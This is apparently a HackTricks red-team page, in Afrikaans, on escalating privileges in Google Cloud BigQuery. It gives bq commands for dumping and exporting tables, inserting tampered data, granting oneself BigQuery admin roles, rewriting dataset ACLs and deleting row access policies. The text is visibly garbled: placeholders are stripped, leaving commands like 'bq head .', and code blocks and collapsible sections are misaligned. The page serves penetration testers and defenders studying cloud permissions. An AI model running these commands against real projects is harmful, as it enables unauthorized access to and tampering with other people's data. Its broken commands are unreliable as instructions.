GCP - BigQuery Privesc

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

BigQuery

Vir meer inligting oor BigQuery, sien:

GCP - Bigquery Enum

Lees Tabel

Om die inligting wat binne ’n BigQuery-tabel gestoor is te lees, kan dit moontlik wees om sensitiewe inligting te vind. Om by die inligting uit te kom, is die volgende toestemmings nodig: bigquery.tables.get, bigquery.jobs.create en bigquery.tables.getData:

Lees BigQuery tabeldata ```bash bq head . bq query --nouse_legacy_sql 'SELECT * FROM `..` LIMIT 1000' ```

Eksporteer data

Dit is ’n ander manier om toegang tot die data te kry. Eksporteer dit na ’n cloud storage bucket en laai die lêers af met die inligting.
Om hierdie aksie uit te voer is die volgende permissies benodig: bigquery.tables.export, bigquery.jobs.create en storage.objects.create.

Eksporteer BigQuery-tabel na Cloud Storage ```bash bq extract .
"gs:///table*.csv" ```

Voeg data in

Dit kan moontlik wees om sekere vertroude data in ’n BigQuery tabel in te voeg om ’n kwesbaarheid elders te misbruik. Dit kan maklik gedoen word met die toestemmings bigquery.tables.get, bigquery.tables.updateData en bigquery.jobs.create:

Voeg data in 'n BigQuery-tabel ```bash # Via query bq query --nouse_legacy_sql 'INSERT INTO `..` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

Via insert param

bq insert dataset.table /tmp/mydata.json

</details>

### `bigquery.datasets.setIamPolicy`

'n aanvaller kan hierdie voorreg misbruik om **homself verdere toestemmings** oor 'n BigQuery dataset te gee:

<details>
<summary>Set IAM policy on BigQuery dataset</summary>
```bash
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

Net hierdie toestemming maak dit moontlik om jou toegang tot ’n BigQuery-dataset by te werk deur die ACLs te wysig wat aandui wie toegang daartoe het:

Update BigQuery dataset ACLs ```bash # Download current permissions, reqires bigquery.datasets.get bq show --format=prettyjson : > acl.json ## Give permissions to the desired user bq update --source acl.json : ## Read it with bq head $PROJECT_ID:.
```

bigquery.tables.setIamPolicy

’n aanvaller kan hierdie voorreg misbruik om homself verdere toestemmings op ’n BigQuery-tabel te gee:

Stel IAM-beleid op BigQuery-tabel ```bash # For this you also need bigquery.tables.setIamPolicy bq add-iam-policy-binding \ --member='user:' \ --role='roles/bigquery.admin' \ :.

use the set-iam-policy if you don’t have bigquery.tables.setIamPolicy

</details>

### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`

Volgens die docs is dit met die genoemde toestemmings moontlik om 'n ry-toegangsbeleid te **bywerk.**\
Egter, **wanneer jy die cli `bq` gebruik** benodig jy nog 'n paar toestemmings: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.

<details>
<summary>Skep of vervang 'n ry-toegangsbeleid</summary>
```bash
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used

Dit is moontlik om die filter-ID in die uitvoer van die opgelysing van rytoegangsbeleide te vind. Voorbeeld:

Lys rytoegangsbeleide ```bash bq ls --row_access_policies :.

Id Filter Predicate Grantees Creation Time Last Modified Time


apac_filter term = “Cfba” user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09

</details>

As jy **`bigquery.rowAccessPolicies.delete`** in plaas van `bigquery.rowAccessPolicies.update` het, kan jy ook net die beleid verwyder:

<details>
<summary>Verwyder row access policies</summary>
```bash
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'

# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'

Caution

Nog ’n potensiële opsie om row access policies te omseil sou wees om bloot die waarde van die beperkte data te verander. As jy slegs kan sien wanneer term Cfba is, verander net alle rekords van die tabel sodat term = "Cfba". Dit word egter deur bigquery verhoed.

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks